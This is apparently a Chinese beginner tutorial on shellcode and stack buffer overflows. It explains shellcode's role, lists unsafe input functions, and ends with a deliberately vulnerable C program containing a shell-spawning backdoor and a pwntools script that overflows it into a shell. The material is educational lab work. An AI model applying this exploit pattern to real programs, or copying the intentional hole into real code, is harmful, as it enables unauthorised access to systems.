Shellcode的使用于介绍

Shellcode 实际上是一段可以独立执行的代码（也可以认为是一段填充数据），在触发了缓冲区溢出漏洞并获取了eip指针的控制权后，通常会将eip指针指向Shellcode以完成漏洞利用全过程。从功能上看，Shellcode在整个漏洞利用过程中发挥主要作用实现对计算机端的控制。

Shellcode是漏洞利用的必须的一个要素，也是漏洞分析的重要环节。我们可以通过对Shellcode进行定位来辅助回潮漏洞原理，并确定漏洞特征。通过对Shellcode功能的分析，我们还可以确定漏洞样本的漏洞样本的危害程度及目的，并有可能追踪攻击来源，这对APT攻击分析中的溯源工作非常有利

Shellcode 在漏洞样本中的存在形式一般为一段可以自主运行的汇编代码。它不依赖任何编译环境，也不能像在 IDE 中直接编写代码那样调用 API 两数名称来实现功能。它通过主动查找DLL基址并动态获取API地址的方式来实现API 调用，然后根据实际功能调用相应的 API 两数来完成其自身的功能。

Shelleode 分为两个模块，分别是基本模块和功能模块，结构如图所示。

例子

什么是栈溢出？

栈溢出这个东西其实就是程序给你划分了一块空间，但是你写的代码允许输入超出这片空间大小的数据，就把你的数据输入到了合法空间之外的地方造成了破坏，那么在这不允许用户操作的空间之中有着多的关键寄存器可以被我们控制我们利用栈溢出传输数据改变寄存器的值达到代码执行的效果。

存在栈溢出的危险操作

strcat() 字符串的复制越界复制
gets()无限制长度输入数据
scanf("%s")无限制长度输入数据
read(0,buf,xx) xx的大小大于buf本身

这里做个简单的不开启PIE 不开启canary保护的程序

//shellcodetest
#include<stdio.h>
void main()
{
    char buf[0x10];
    read(0,buf,0x100);
}
void backdoor()
{
    system("/bin/sh");
}

vim code.c
把代码复制进去 :wq保存
gcc -m64 -fno-stack-protector code.c -o code

00400566 0040058C

from pwn import *
r = process("./code")

ret = 0x00400566		#这个是有溢出漏洞位置的函数
back = 0x0040058C		#这个是含有后面的函数

payload = "a"*0x18 + p64(ret)+p64(back)#"a"*0x18 这个是需要溢出的大小
r.sendline(payload)
r.interactive()